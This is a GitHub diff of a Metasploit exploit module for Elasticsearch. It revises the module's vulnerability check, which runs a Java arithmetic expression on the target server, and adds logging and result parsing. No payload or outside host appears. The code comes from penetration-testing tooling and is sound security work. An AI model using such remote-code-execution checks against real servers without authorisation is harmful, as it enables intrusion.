File tree Expand file tree Collapse file tree 1 file changed +14
-8
lines changed
modules/exploits/multi/elasticsearch Expand file tree Collapse file tree 1 file changed +14
-8
lines changed Original file line number Diff line number Diff line change @@ -105,18 +105,28 @@ def vulnerable?
105
105
sum = addend_one + addend_two
106
106
107
107
java = java_sum ( [ addend_one , addend_two ] )
108
+
109
+ vprint_status ( "#{ peer } attempting to execute '#{ java } ' in Java" )
108
110
res = execute ( java )
109
111
result = parse_result ( res )
110
112
111
113
if result . nil?
114
+ vprint_status ( "#{ peer } no response to executed Java" )
112
115
return false
113
116
else
117
+ vprint_status ( "#{ peer } response to executed Java: #{ result } " )
114
118
result . to_i == sum
115
119
end
116
120
end
117
121
118
122
def parse_result ( res )
119
- unless res && res . code == 200 && res . body
123
+ unless res
124
+ vprint_error ( "#{ peer } no response" )
125
+ return nil
126
+ end
127
+
128
+ unless res . code == 200 && res . body
129
+ vprint_error ( "#{ peer } responded with HTTP code #{ res . code } (with#{ res . body ? '' : 'out' } a body)" )
120
130
return nil
121
131
end
122
132
@@ -127,20 +137,16 @@ def parse_result(res)
127
137
end
128
138
129
139
begin
130
- result = json [ 'hits' ] [ 'hits' ] [ 0 ] [ 'fields' ] [ 'msf_result' ] [ 0 ]
140
+ result = json [ 'hits' ] [ 'hits' ] [ 0 ] [ 'fields' ] [ 'msf_result' ]
131
141
rescue
132
142
return nil
133
143
end
134
144
135
- result
145
+ result . is_a? ( :: Array ) ? result . first : result
136
146
end
137
147
138
148
def java_sum ( summands )
139
- source = <<-EOF
140
- #{ summands . join ( " + " ) }
141
- EOF
142
-
143
- source
149
+ summands . join ( ' + ' )
144
150
end
145
151
146
152
def to_java_byte_array ( str )
You can’t perform that action at this time.
0 commit comments